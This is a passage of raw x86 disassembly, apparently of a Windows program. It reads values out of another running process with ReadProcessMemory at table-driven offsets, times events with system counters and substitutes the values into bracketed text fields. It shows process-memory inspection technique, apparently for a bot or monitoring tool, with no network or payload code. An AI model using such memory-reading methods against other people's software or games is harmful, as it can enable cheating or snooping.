add edx, 4
mov ecx, 2
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
mov byte [ebp - 0x765], 1
mov eax, dword [ebp - 0xc0]
sub eax, 0xa
je 0x53fedd
dec eax
je 0x53feea
dec eax
je 0x53fef7
jmp 0x53ff05
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
call fcn.00405070
jmp 0x53ff05
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
call fcn.00405070
jmp 0x53ff05
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xb0]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
cmp byte [ebp - 0x73a], 0
jne 0x53ff96
call fcn.0040d7e4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xa8]
mov eax, 0x55384c
call fcn.0040e598
lea eax, [ebp - 0x24]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
lea eax, [ebp - 0x20]
push eax
mov ecx, 2
mov edx, 4
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
lea eax, [ebp - 0xb0]
push eax
mov ecx, 4
mov edx, 7
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
mov byte [ebp - 0x73a], 1
mov eax, dword [ebp - 0xc0]
sub eax, 0x35
je 0x53ffc8
dec eax
je 0x53ffbb
dec eax
jne 0x53ffd6
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
call fcn.00405070
jmp 0x53ffd6
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
call fcn.00405070
jmp 0x53ffd6
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xb0]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75f]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540048
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590394]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 1
lea eax, [ebp - 0x93]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 1
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x54005e
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540075
mov byte [ebp - 0x75f], 1
lea edx, [ebp - 0x1c]
xor eax, eax
mov al, byte [ebp - 0x93]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75e]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540262
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
cmp eax, dword [ebp - 0xc8]
jne 0x540140
mov eax, dword [ebp - 0xc0]
cmp eax, 0xdd
jg 0x5400dc
je 0x54010d
sub eax, 0x11
je 0x5400eb
sub eax, 0xcb
je 0x5400fc
jmp 0x5401e7
sub eax, 0xde
je 0x54011e
dec eax
je 0x54012f
jmp 0x5401e7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43a8]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43ac]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43b0]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43b4]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43b8]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [ebp - 0xc0]
cmp eax, 0xdd
jg 0x540160
je 0x54019e
sub eax, 0x11
je 0x54016c
sub eax, 0xcb
je 0x540185
jmp 0x5401e7
sub eax, 0xde
je 0x5401b7
dec eax
je 0x5401d0
jmp 0x5401e7
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43a8]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43ac]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43b0]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43b4]
mov dword [ebp - 0x10], eax
jmp 0x5401e7
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0xd0]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43b8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105e0c], 0
jne 0x5401fe
cmp dword [eax + 0x105e08], 0
jbe 0x54024b
jmp 0x540200
jle 0x54024b
lea eax, [ebp - 0x240]
push eax
call sub.KERNEL32.DLL_QueryPerformanceCounter
test eax, eax
je 0x54024b
fild qword [ebp - 0x240]
mov eax, dword [ebp - 0x18]
fild qword [eax + 0x105e08]
fdivp st(1)
fmul dword [0x553858]
call fcn.004030cc
push edx
push eax
mov eax, dword [ebp - 0x10]
xor edx, edx
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
lea eax, [ebp - 0xb4]
call fcn.0040b668
jmp 0x540262
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xb4]
call fcn.0040b668
mov byte [ebp - 0x75e], 1
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xb4]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75d]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x5402e6
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590580]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x5402fc
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540312
mov byte [ebp - 0x75d], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75c]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540381
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5901f4]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x540397
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x5403ad
mov byte [ebp - 0x75c], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75b]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x54041d
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590580]
mov eax, dword [edx + eax*4 + 0x64]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x540433
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540449
mov byte [ebp - 0x75b], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x75a]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x5404bb
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590390]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 6
lea eax, [ebp - 0x92]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 6
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x5404d1
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x54051c
mov byte [ebp - 0x75a], 1
mov eax, dword [ebp - 0xc0]
sub eax, 0x15
je 0x5404eb
dec eax
je 0x5404fc
dec eax
je 0x54050d
jmp 0x54051c
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x92]
call fcn.0040b57c
jmp 0x54051c
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x90]
call fcn.0040b57c
jmp 0x54051c
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x8e]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x757]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x54058b
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x59031c]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x5405a1
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x5405b7
mov byte [ebp - 0x757], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x756]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540626
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5906a8]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x54063c
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540652
mov byte [ebp - 0x756], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x755]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x5406c1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5906d4]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x5406d7
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x5406ed
mov byte [ebp - 0x755], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x754]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x54075c
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5903a0]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x540772
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540788
mov byte [ebp - 0x754], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x753]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x5407f7
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590500]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x54080d
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540823
mov byte [ebp - 0x753], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x751]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540892
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590460]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x5408a8
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x5408be
mov byte [ebp - 0x751], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x5408fa
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x5b
jne 0x5408f7
mov bl, 1
jmp 0x540921
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x540921
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x5408e6
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x540967
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x5b
je 0x540947
sub al, 2
je 0x540951
jmp 0x540957
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x540957
dec dword [ebp - 0x84]
test bl, bl
je 0x540964
cmp dword [ebp - 0x84], 0
je 0x540974
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x540933
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x9f8]
push eax
lea eax, [ebp - 0x9fc]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0x9fc]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0x9f8]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x9c]
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0052d600
xor ebx, ebx
cmp dword [ebp - 0x14], 0
je 0x540aea
jmp 0x540a0d
lea eax, [ebp - 0x30]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x5409fb
jmp 0x540a3b
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + eax - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x540a24
xor eax, eax
mov dword [ebp - 0x84], eax
mov eax, dword [0x59073c]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x1c]
call fcn.00405498
push eax
mov eax, dword [ebp - 0x2c0]
mov eax, dword [eax]
call fcn.00405498
pop edx
call fcn.0040c464
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x540a9f
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x10], eax
mov bl, 1
jmp 0x540af7
mov eax, dword [ebp - 0x1c]
call fcn.00405498
push eax
mov eax, dword [ebp - 0x2c0]
mov eax, dword [eax + 4]
call fcn.00405498
pop edx
call fcn.0040c464
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x540ad2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x10], eax
mov bl, 1
jmp 0x540af7
inc dword [ebp - 0x84]
add dword [ebp - 0x2c0], 8
cmp dword [ebp - 0x84], 0x3b
jne 0x540a6d
jmp 0x540af7
mov eax, dword [ebp - 0x24]
call fcn.0040b6e8
mov dword [ebp - 0x10], eax
mov bl, 1
test bl, bl
je 0x540b8f
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
mov eax, dword [edx + eax*4]
add eax, 0xfffffffc
sub eax, 2
jae 0x540b42
cmp dword [ebp - 0x10], 0
jbe 0x540b42
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590248]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x10]
add edx, edx
add eax, edx
add eax, 0x38
mov dword [ebp - 0x10], eax
jmp 0x540b5f
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590248]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x10]
add edx, edx
add eax, edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 2
lea eax, [ebp - 0xd6]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 2
setne byte [ebp - 0xc1]
jmp 0x540b98
mov word [ebp - 0xd6], 0xffff
cmp byte [ebp - 0xc1], 0
je 0x540bae
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540bc4
mov byte [ebp - 0x74b], 1
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0xd6]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x74a]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540ce2
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590144]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
cmp dword [edx + eax*4], 7
jne 0x540c51
add dword [ebp - 0x10], 4
mov eax, dword [ebp - 0x10]
add eax, 0x9c
mov dword [ebp - 0x88], eax
add dword [ebp - 0x10], 0x154
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp byte [ebp - 0xc1], 0
jne 0x540c99
cmp dword [ebp - 0x84], 4
jne 0x540c99
xor eax, eax
jmp 0x540c9b
mov al, 1
mov byte [ebp - 0xc1], al
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x88]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp byte [ebp - 0xc1], 0
jne 0x540cda
cmp dword [ebp - 0x84], 4
jne 0x540cda
xor eax, eax
jmp 0x540cdc
mov al, 1
mov byte [ebp - 0xc1], al
cmp byte [ebp - 0xc1], 0
je 0x540cf8
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540d23
mov byte [ebp - 0x74a], 1
mov eax, dword [ebp - 0x88]
and eax, 0x40
cmp eax, 0x40
jne 0x540d14
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x749]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540df2
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590564]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
add dword [ebp - 0x10], 0x9c
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
cmp dword [edx + eax*4], 7
jne 0x540db7
add dword [ebp - 0x10], 4
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp byte [ebp - 0xc1], 0
jne 0x540dea
cmp dword [ebp - 0x84], 4
jne 0x540dea
xor eax, eax
jmp 0x540dec
mov al, 1
mov byte [ebp - 0xc1], al
cmp byte [ebp - 0xc1], 0
je 0x540e08
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540e3b
mov byte [ebp - 0x749], 1
mov eax, dword [ebp - 0x10]
and eax, 0x80
cmp eax, 0x80
jne 0x540e27
mov dword [ebp - 0x10], 1
jmp 0x540e2c
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x748]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x540eaa
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590150]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x540ec0
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x540ed6
mov byte [ebp - 0x748], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x1048b8]
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x540f28
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
